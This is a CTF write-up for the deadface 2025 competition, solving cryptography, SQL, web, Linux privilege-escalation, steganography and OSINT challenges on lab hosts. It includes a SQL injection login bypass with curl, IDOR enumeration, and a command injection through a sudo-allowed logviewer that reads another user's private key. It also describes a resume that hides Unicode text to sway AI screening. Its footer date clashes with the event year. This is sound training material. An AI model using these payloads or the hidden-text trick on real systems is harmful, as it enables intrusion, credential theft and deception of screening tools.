Competition Overview
This repository contains comprehensive writeups for all challenges I solved during the deadface CTF competition held in October 2025.
- Event: deadface CTF 2025
- Team: BLACK MIRROR
- Final Rank: 28th Place / 815 teams
- Final Score: 6,751 points
- Duration: October 25-26, 2025
- Team Challenges Solved: 63
My Personal Stats - t4mpr
- Cryptography: 2 challenges (600 points)
- SQL/Database: 1 challenge (400 points)
- Web: 2 challenges (405 points)
- Forensics/Traffic Analysis: 2 challenges (350 points)
- Linux Privilege Escalation: 2 challenges (425 points)
- Steganography: 1 challenge (30 points)
- OSINT: 1 challenge (50 points)
- PWN: 1 challenge (20 points)
Cryptography Challenges
Dis-connec-ted 🩸 First Blood!
Category: CRYPTOGRAPHY AUDIO STEGANOGRAPHY
Challenge Description
The Turbo Tactical Team uncovered some audio files on a system they know was compromised by DEADFACE. When played, it seems to be just scratching noises. See if you can help the team and figure out what you can make out of these wav files.
Submit the flag as
deadface{flag_text}.
Files Provided
Three WAV audio files:
Key200.wav(157 KB, 1.67 seconds)Deets10.wav(1.6 MB, ~34 seconds)DialedIn1200.wav(70 KB, 1.49 seconds)
Solution
Step 1: Analyzing the Audio Files
All three files are modem audio (16-bit PCM, mono, 48000 Hz). The “scratching noises” are actually data encoded as audio tones using FSK (Frequency Shift Keying) modulation - the same technique used by old dial-up modems.
Key Observation: The filenames contain numbers that hint at the baud rates:
Key200→ 200 baudDeets10→ 10 baudDialedIn1200→ 1200 baud
Step 2: Decoding with Minimodem
minimodem is a software modem that can decode audio signals into data. It supports various baud rates and can process WAV files directly.
Decoding Key200.wav (200 baud):
minimodem --rx -f Key200.wav 200Output:
O1WXfra0lbr84OrUsARr2xf5mDDCnJ1S### CARRIER 200 @ 1250.0 Hz ###### NOCARRIER ndata=33 confidence=9.008 ampl=0.982 bps=200.00 ###Decoding DialedIn1200.wav (1200 baud):
minimodem --rx -f DialedIn1200.wav 1200Output:
Eswf9G+Vm6xxJg9MrPmuz2Ar9VGyWUDKSR0/rFoVfcoNT12NA1Nk59sBJbOE8li7btNC82vX0KINmSEvK9hp1A==### CARRIER 1200 @ 1200.0 Hz ###### NOCARRIER ndata=89 confidence=4.936 ampl=1.001 bps=1200.00 ###Decoding Deets10.wav (10 baud):
minimodem --rx -f Deets10.wav 10Output:
CBC PKCS5Padding### CARRIER 10.00 @ 1590.0 Hz ###### NOCARRIER ndata=17 confidence=34.128 ampl=0.636 bps=10.00 ###Step 3: Understanding the Components

From the decoded audio:
- Key200.wav →
O1WXfra0lbr84OrUsARr2xf5mDDCnJ1S(32 characters = encryption key) - DialedIn1200.wav → Base64-encoded ciphertext (note the
==padding at the end) - Deets10.wav →
CBC PKCS5Padding(encryption mode details)
This tells us:
- Encryption algorithm: AES (implied by CBC mode and 32-byte key)
- Mode: CBC (Cipher Block Chaining)
- Padding: PKCS5 (same as PKCS7 for AES)
- Key: 32 ASCII characters = 32 bytes = AES-256
Step 4: Decryption
from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport base64
# Decoded valueskey_string = "O1WXfra0lbr84OrUsARr2xf5mDDCnJ1S"ciphertext_b64 = "Eswf9G+Vm6xxJg9MrPmuz2Ar9VGyWUDKSR0/rFoVfcoNT12NA1Nk59sBJbOE8li7btNC82vX0KINmSEvK9hp1A=="
# Prepare for decryptionkey = key_string.encode('ascii')ciphertext = base64.b64decode(ciphertext_b64)
# Use zero IV (common default when IV not specified)iv = b'\x00' * 16
# Decryptcipher = AES.new(key, AES.MODE_CBC, iv)decrypted = cipher.decrypt(ciphertext)
# Remove paddingplaintext = unpad(decrypted, AES.block_size)
print(plaintext.decode('ascii'))
Output:
deadface{Y0urCallCannot^be*connected-As(Dialed)}🩸 FIRST BLOOD 🩸

Flag: deadface{Y0urCallCannot^be*connected-As(Dialed)}
Key Insights
- Baud Rate Hints: The numbers in filenames indicated the baud rates needed for decoding
- Modem Audio: “Scratching noises” were FSK-modulated modem signals
- Zero IV: When no IV is explicitly provided, a zero IV is commonly used
- Retro Theme: The flag references the classic telephone message “Your call cannot be connected as dialed”
Retro Rewind
Category: CRYPTOGRAPHY
Challenge Description

DEADFACE loves their retro gimmicks. One of our agents stumbled upon this odd log shared by DEADFACE members. The log includes a timestamp, an Initialization Vector (IV), as well as the encrypted message. When we reviewed similar logs, we found that one key worked for one message, but not for the rest. Something must be different with the key used to encrypt each of these messages. We suspect there is a base key that changes with each message. Can you figure it out?
Submit the flag as
deadface{flag_text}
Files Provided
intercepted_messages.txt- 12 encrypted messages with timestamps and IVscipher_info.txt- Information about the encryption methodclues.txt- Additional hint from DEADFACE forum
Solution
Step 1: Gathering Intelligence
From cipher_info.txt:
Cipher Information:Encryption: AES-128-CBCNote: The encryption key changes with time. Analyze the timestamps to uncover the pattern!From Ghosttown Tick Tock Cipher forum post:

It uses AES-128 in CBC mode with a constant base key: DEADFACEDEADFACEDEADFACEDEADFACE.For each message, the script modifies the key by applying a byte-wise offset calculatedfrom the timestamp (positional variance included, of course).Key Information:
- Cipher: AES-128-CBC
- Base Key:
DEADFACEDEADFACEDEADFACEDEADFACE(hex) - Key Derivation: Byte-wise offset from timestamp with positional variance
- Messages sent every 12 hours (43200 seconds)
Step 2: Understanding the Pattern
Examining the timestamps from intercepted_messages.txt:
Message 1: 1756684800Message 2: 1756728000 (+ 43200 seconds = 12 hours)Message 3: 1756771200 (+ 43200 seconds = 12 hours)...Message 12: 1757160000The messages are sent at regular 12-hour intervals, confirming the temporal pattern.
Step 3: Key Generation Algorithm
The phrase “positional variance” suggests that each byte position in the key is modified differently. After testing various approaches, the correct algorithm is:
def generate_key(timestamp): base_key = bytes.fromhex("DEADFACEDEADFACEDEADFACEDEADFACE") key = bytearray(base_key)
for i in range(16): key[i] = (key[i] + timestamp + i) % 256
return bytes(key)Explanation:
- Each byte at position
iis modified by:(original_byte + full_timestamp + position_index) % 256 - The “positional variance” comes from adding the position index
i - The timestamp value is added to all positions, making it time-dependent
- Modulo 256 keeps the result within valid byte range
Step 4: Decrypt Messages
Running the decryption script with the correct key generation method:
============================================================Testing: HEX base + ts modBase key: deadfacedeadfacedeadfacedeadface============================================================✓ Message 1: Attack at midnight✓ Message 2: Target: ServerRoom✓ Message 3: Meet at base✓ Message 4: Plan B active✓ Message 5: Code Red alert✓ Message 6: Backup needed✓ Message 7: Strike tomorrow✓ Message 8: Check systems✓ Message 9: Hide evidence✓ Message 10: Secure channel✓ Message 11: Operation start✓ Message 12: r3w1nd_th3_cl0ck
The final message (Message 12) contains the flag!
Flag: deadface{r3w1nd_th3_cl0ck}
Key Insights
- Base Key Interpretation: The base key is hex-encoded bytes, not an ASCII string
- Positional Variance: Each position gets a unique offset by adding its index (0-15)
- Timestamp Impact: The full timestamp value creates massive variance between messages
- Time-Based Security: Even small timestamp differences create completely different keys
SQL/Database Challenges
Undervalued
Category: SQL
Challenge Description
DEADFACE is adept at finding weak links in management. Your mission is to identify the email of the IT manager who is assigned to the facility that has the overall lowest average quantity of products in its inventory. You must also provide that specific lowest average quantity value. This employee might oversee a poorly managed or understocked facility, making them a potential target for social engineering or infiltration by a DEADFACE member.
Submit the flag as
deadface{email average}.Example:
deadface{ctf@deadface.io 1234.5678}.
Database Connection:
- Host:
env01.deadface.io:3306 - Username:
epicsales - Password:
Slighted3-Charting-Valium - Database:
epicsales_db
Solution
Step 1: Database Exploration
Connect to the database:
mysql -h env01.deadface.io -P 3306 -u epicsales -p'Slighted3-Charting-Valium' epicsales_dbList all tables:
SHOW TABLES;Output:
categories, customers, employee_assignments, employees, facilities,inventories, loyalty_points, order_items, orders, products, reviewsStep 2: Find Facility with Lowest Average Inventory
SELECT facility_id, AVG(quantity) as avg_quantityFROM inventoriesGROUP BY facility_idORDER BY avg_quantity ASCLIMIT 5;Output:
facility_id | avg_quantity------------|-------------5 | 2274.462620 | 2329.872225 | 2343.91197 | 2359.528610 | 2363.8634Result: Facility ID 5 has the lowest average inventory quantity of 2274.4626.
Step 3: Find IT Manager for Facility 5
SELECT e.email, e.role, ea.facility_id, (SELECT AVG(quantity) FROM inventories WHERE facility_id = 5) as avg_quantityFROM employees eJOIN employee_assignments ea ON e.employee_id = ea.employee_idWHERE ea.facility_id = 5 AND e.role = 'IT Manager';Output:

email | role | facility_id | avg_quantity--------------------------------|------------|-------------|-------------valera.kenner@epicsales.shop | IT Manager | 5 | 2274.4626Flag: deadface{valera.kenner@epicsales.shop 2274.4626}
Key Takeaways
- Aggregation Functions: Using
AVG()withGROUP BYto calculate averages per group - JOIN Operations: Connecting employees to facilities through the assignment table
- Filtering: Using
WHEREclauses to filter by role and facility - Ordering: Using
ORDER BYwithASCto find minimum values
Web Security Challenges
The Invisible Man
Category: WEB
Challenge Description
The Night Vale University (NVU) student portal appears to have some security vulnerabilities. Your mission is to identify hidden/privileged users and recover their flags.
Submit the flag as
deadface{flag text}.Target:
http://env01.deadface.io:8080
Tools Used
curl- Command-line HTTP client- Browser Developer Tools (optional)
- Basic understanding of SQL injection and IDOR vulnerabilities
Reconnaissance
Step 1: Login Page Examination
The login page reveals several important details in HTML comments:
-
Test Accounts Available:
- Student:
jstudent / password123 - Faculty:
deephax / music4life - Admin credentials (commented):
admin / NVU_Adm1n_P0rt4l
- Student:
-
Security Hint:
Hint: Try different SQL injection techniques to access specific accounts...
Exploitation - Part 1: SQL Injection Authentication Bypass
Understanding the Vulnerability
A typical vulnerable SQL query:
SELECT * FROM users WHERE username='$username' AND password='$password'SQL Injection Payload:
curl -s -c /tmp/invisible_cookies.txt \ "http://env01.deadface.io:8080/?page=login" \ -d "username=' OR 1=1 -- &password=anything&login=Login"Explanation of the Payload:
'- Closes the username string in the SQL queryOR 1=1- Always evaluates to TRUE, bypassing authentication--- SQL comment that ignores everything after (including password check)
Retrieve First Flag:
curl -s -b /tmp/invisible_cookies.txt \ "http://env01.deadface.io:8080/?page=profile" | grep -i "flag"Output:

Congratulations! Flag: deadface{sql_1nj3ct10n_byp4ss_4uth}First Flag: deadface{sql_1nj3ct10n_byp4ss_4uth}
Exploitation - Part 2: IDOR (Insecure Direct Object Reference)
Admin Panel Discovery:
curl -s -b /tmp/invisible_cookies.txt \ "http://env01.deadface.io:8080/admin.php" | head -80User Management Table shows:
- Lists users with IDs 1-15
- Each user has a “View Details” link:
?view_user=X&source=ui
API Endpoint Discovery:
curl -s -b /tmp/invisible_cookies.txt \ "http://env01.deadface.io:8080/api/search.php?q=a&type=users"Critical Discovery: A hidden backup_admin account exists!
Exploiting the IDOR Vulnerability:
curl -s -b /tmp/invisible_cookies.txt \ "http://env01.deadface.io:8080/admin.php?view_user=16"The IDOR Flaw: The application fails to properly validate whether the requested user should be visible to the current user.
Retrieve Second Flag:

Username: backup_adminEmail: backup@nvu.eduRole: adminFlag: deadface{1ns3cur3_d1r3ct_0bj3ct_r3f3r3nc3}Second Flag: deadface{1ns3cur3_d1r3ct_0bj3ct_r3f3r3nc3}
Vulnerability Analysis
SQL Injection (CWE-89)
- The login authentication does not properly sanitize user input
- User-supplied data is directly concatenated into SQL queries
- Allows attackers to manipulate query logic
IDOR (CWE-639)
- The application exposes internal user IDs in URLs
- No authorization check to verify access permissions
- Hidden accounts can be accessed by ID enumeration
Linux Privilege Escalation (Hostbusters)
Read ‘Em and Weep
Category: FORENSICS LINUX PRIVSEC CRYPTOGRAPHY
Challenge Description
mirveal has an encrypted file on the system that we need access to. Find a way to read the hostbusters6.bin file.
Submit the flag as
deadface{flag_text}.
Solution
1. Initial Access
ssh gh0st404@hostbusters.deadface.io# password: ReadySetG0!2. Collect deephax Console Password
cat ~/.dont_forgetRelevant snippet:
deephax pen: Fr4gm3ntedSkull!!3. Enter deephax Console and Escape to Python
su deephax# password: Fr4gm3ntedSkull!!(deephax)> quit>>> import os4. Enumerate sudo Rights
>>> os.system("sudo -l")Output:
User deephax may run the following commands on hostbusters: (mirveal) NOPASSWD: /usr/bin/logviewer *5. Steal Mirveal’s Private Key
>>> os.system("sudo -u mirveal /usr/bin/logviewer '../../home/mirveal/.keys/private.pem; cat /home/mirveal/.keys/private.pem; #'")This leverages command injection via path traversal to extract the RSA private key.
6. Extract hostbusters6.bin
base64 /home/mirveal/hostbusters6.binCopy the output and save locally, then decode:
base64 -d hostbusters6.bin.b64 > hostbusters6.bin7. Decrypt Locally with OpenSSL
openssl pkeyutl -decrypt -inkey private.pem -in hostbusters6.bin -out hostbusters6.deccat hostbusters6.decOutput:
deadface{hostbusters6_d22a1c03f3454b9c}Flag: deadface{hostbusters6_d22a1c03f3454b9c}
Pulse Check
Category: FORENSICS LINUX
Challenge Description

What is this machine doing? Our team has looked in various files and we can’t seem to locate the 7th flag. Maybe we need to characterize this host more.
Submit the flag as
deadface{flag_text}.
Solution
1. SSH and Escalate
Reuse the previous escalation path to access the deephax console.
2. Extract dfcheckalive
Use logviewer to copy and exfiltrate /usr/bin/dfcheckalive:
>>> os.system("sudo -u mirveal /usr/bin/logviewer '../../usr/bin/dfcheckalive; base64 /usr/bin/dfcheckalive; #'")3. Convert Base64 to Binary
import base64, rewith open('/tmp/df_hostbusters.txt','r',errors='ignore') as f, open('/tmp/df_hostbusters.bin','wb') as out: for line in f: line = line.strip() if re.fullmatch(r'[A-Za-z0-9+/=]+', line): out.write(base64.b64decode(line))4. Recover Embedded Flag
Inspect .rodata to locate key/flag bytes:
from pathlib import Pathdata = Path('/tmp/df_hostbusters.bin').read_bytes()key = data[0x2000:0x2008]enc = data[0x2020:0x2020+0x27]flag = bytes(x ^ key[i % len(key)] for i, x in enumerate(enc))print(flag.decode())Output:
deadface{hostbusters7_d8c0a4c4e64a5b78}Flag: deadface{hostbusters7_d8c0a4c4e64a5b78}
Steganography Challenges
Creepy Resume
Category: STEG
Challenge Description
A DEADFACE member landed an interview at Spooky Coffee using a resume that whispers in Unicode and charms every AI it touches. Those who can read between the glyphs say it speaks in riddles, crafted to bypass filters and impress any CAPTCHA-checking HR daemon.
Analyze the resume PDF. Can you find the secret string?
Submit the flag as
deadface{here_is_the_answer}.
Recon
Solution
1. Dump all metadata
exiftool lambiresume.pdfUserComment and Copyright each show an emoji (🥰) followed by dozens of blank-looking characters. These glyphs are Unicode Plane 14 variation selectors.
2. Extract the suspicious string
exiftool -UserComment -s3 lambiresume.pdf3. Decode the Plane-14 variation selectors
Variation selectors from U+E0100–U+E01EF are named VARIATION SELECTOR-n. The numeric suffix is the ASCII code of the intended character.
python3 - <<'PY'import unicodedataimport subprocess
raw = subprocess.check_output( ['exiftool', '-UserComment', '-s3', 'lambiresume.pdf'], text=True,).strip()
decoded = ''.join( chr(int(unicodedata.name(ch).split('-')[-1])) for ch in raw if 'VARIATION SELECTOR' in unicodedata.name(ch, ''))
flag = ''.join(chr(ord(c) - 1) for c in decoded)print('metadata :', decoded)print('flag :', flag)PY
Flag: deadface{Look_@_m3!!!}
Easy Solve
The intended solve was to use the emoji decoder tool from the forum post:
- Run
exiftool lambiresume.pdf - Copy
🥰󠅔󠅕󠅑󠅔󠅖󠅑󠅓󠅕󠅫󠄼󠅟󠅟󠅛󠅏󠄰󠅏󠅝󠄣󠄑󠄑󠄑󠅭 - Paste in https://emoji.paulbutler.org/?mode=decode
OSINT Challenges
Diss Track
Category: OSINT
Challenge Description
We were looking at the message board and saw that lilith and deephax communicated that they would have a secret way of talking to each other while they ran an attack. We can’t make heads or tails of it but we did note that they mentioned Band names and referenced some songs.
Enter the answer as
deadface{flag text}.
Solution
Clues from message board:
https://ghosttown.deadface.io/t/how-do-y-all-decompress-after-ops/84/9
Conversation between lilith and deephax:
“Hey Deep, Since you like music so much I put something together for that THING that’s happening. check it out tell me what you think 34qdvkzNI5IIZUR5kVOpNx”
Solve:
Pasting the 34qdvkzNI5IIZUR5kVOpNx part into:
https://open.spotify.com/playlist/34qdvkzNI5IIZUR5kVOpNx
reveals the flag in the playlist.

Flag: deadface{D!6_7H47_Cr^ZY_rHY7HM!}
Competition Reflections
This CTF was an excellent learning experience that covered a broad range of security domains. The challenges were well-designed with realistic scenarios that mirror real-world vulnerabilities. The DeadFace storyline and theming made the competition more engaging.
What Went Well:
- Systematic approach to each challenge
- Good time management across multiple domains
- Effective use of automation and scripting
- Thorough documentation during exploitation
Areas for Improvement:
- Could have been faster on SQL challenges with better query optimization
- Initial attempts at crypto challenges took multiple iterations
- More practice with binary analysis would speed up PWN challenges
Most Challenging: Retro Rewind
- Required understanding of custom time-based key derivation
- Multiple failed approaches before discovering the correct algorithm
- Testing different interpretations of “positional variance”
- Success came from combining the full timestamp with position index
Most Rewarding: Dis-connec-ted
- First Blood! 🩸
- Required creative thinking to understand artifact usage
- Learned about FSK demodulation and minimodem
- Deep dive into AES-256-CBC encryption & padding
Tools & Technologies Used
Cryptography
minimodem- FSK audio demodulationpycryptodome- Python cryptography libraryopenssl- RSA operations- Custom Python scripts for key derivation
Forensics & Network Analysis
exiftool- Metadata extractionbinwalk- Binary analysisstrings- String extractionbase64- Encoding/decoding
Web Exploitation
curl- HTTP client- SQL injection techniques
- API fuzzing and enumeration
Linux/Binary Analysis
ssh- Remote accesssudo -l- Privilege enumeration- Python for binary analysis and XOR operations
objdump/xxd- Binary inspection
Database
mysqlclient - Direct database access- SQL query optimization
- Python3 & Claude Code CLI
Acknowledgments
- deadface CTF - For creating an amazing event with phenomenal challenges
- My Team - For working together to solve these challenges and helping each other along the way
Last Updated: October 27, 2024